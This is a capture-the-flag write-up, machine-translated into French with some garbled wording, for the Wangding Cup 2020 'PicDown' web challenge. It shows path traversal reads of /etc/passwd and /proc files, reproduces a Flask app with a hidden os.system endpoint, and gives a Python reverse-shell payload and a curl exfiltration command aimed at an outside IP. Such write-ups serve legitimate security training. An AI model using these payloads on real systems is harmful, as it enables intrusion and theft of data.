[Équipe Tigre Blanc de la Coupe Wangding 2020] PicDown

Points de connaissance

  • Lecture de fichier
  • Descripteur de fichier
  • Audit de code Python
  • Coque inversée

WP

De manière générale, c'est encore un sujet relativement simple. L'endroit toxique est l'URL. Je suis bloqué sur cette URL. Je pensais vraiment que c'était un SSRF. Je ne voulais pas essayer de lire le fichier directement dans le passé. Je je ne m'attendais pas à ce que ce soit vrai.:

?url=../../../../../etc/passwd

Vous pouvez lire des choses. Bien que j'aie également essayé d'utiliser le fichier, mais je n'ai rien lu, il semble être filtré, ou j'ai une mauvaise compréhension des connaissances de base.

Vous pouvez lire le fichier après l'avoir lu, puis vous constatez que vous lisez directement l'indicateur. . . . :

?url=../../../../../flag

C'est une question environnementale, le fichier des drapeaux se trouve ailleurs pendant la compétition de la Netding Cup.
La façon normale de penser est certainement de lire ceci:

/proc/self/environ
/proc/self/cmdline

Vous pouvez le lire python2 app.py, puis lisons-le/proc/self/cwd/app.py

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

Un petit audit du code, ou l'inspection du descripteur de fichier, la clé peut être /proc/self/fd/3lue dedans, puis passer le mot de passe et le shell, et elle peut être exécutée. Mais le problème est qu'il n'y a pas de réponse, il y a deux manières de répondre à cette question. L'un est le shell inversé direct en python:

?key=YBb%2FolIX5h4ChHDJYy%2BhypD0MtKjJyIs3fI3Jbma1SY%3D&shell=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("118.***.***.***",39555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Ensuite, lisez simplement le drapeau directement:
Insérez la description de l'image ici
il existe un autre type de shell inversé curl:

?key=YBb%2FolIX5h4ChHDJYy%2BhypD0MtKjJyIs3fI3Jbma1SY%3D&shell=curl 118.***.***.***/`ls /|base64`

Comme il y a une nouvelle ligne dans le résultat, seul le contenu de la première ligne peut être affiché dans le journal, il doit donc être chiffré une fois avec base64:
Insérez la description de l'image ici
vous pouvez obtenir le contenu de l'exécution de la commande terminée en le chiffrant à nouveau, et vous pouvez obtenir le drapeau.

Je suppose que tu aimes

Origine blog.csdn.net/rfrder/article/details/112310943
conseillé
Classement